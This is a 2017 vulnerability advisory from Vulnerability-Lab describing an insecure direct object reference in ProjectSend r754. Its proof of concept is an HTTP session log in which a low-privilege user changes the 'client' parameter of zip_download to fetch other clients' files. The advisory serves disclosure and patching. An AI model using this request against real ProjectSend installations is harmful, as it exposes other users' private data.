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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Document Title:
===============
ProjectSend r754 - IDOR & Authentication Bypass Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2031


Release Date:
=============
2017-02-21


Vulnerability Laboratory ID (VL-ID):
====================================
2031


Common Vulnerability Scoring System:
====================================
5.3


Product & Service Introduction:
===============================
ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets 
you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending 
on external services or e-mail to send those files.

(Copy of the Homepage: http://www.projectsend.org/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.


Vulnerability Disclosure Timeline:
==================================
2017-02-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
GNU GPL License
Product: ProjectSend r754


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input. 
As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References 
allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point 
to other client account names, which allows an attackers to download others clients private data with no secure method provided.

Vulnerability Method(s):
[+] GET

Vulnerable Module(s):
[+] process.php?do=zip_download

Vulnerable Parameter(s):
[+] client
[+] file


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...

2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension  

--- PoC Session Logs ---
GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost/ProjectSend-r754/my_files/
Cookie: PHPSESSID=kb0uotq6mssklf213v4a7fje47
Connection: keep-alive
-
HTTP/1.1 200 OK
Date: Sun, 05 Feb 2017 19:07:41 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.44-0+deb7u1
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 6

Name of Files: .jpg


Video PoC:
https://www.youtube.com/watch?v=Xc6Jg9I7Pj4


Security Risk:
==============
The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)


Credits & Authors:
==================
Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

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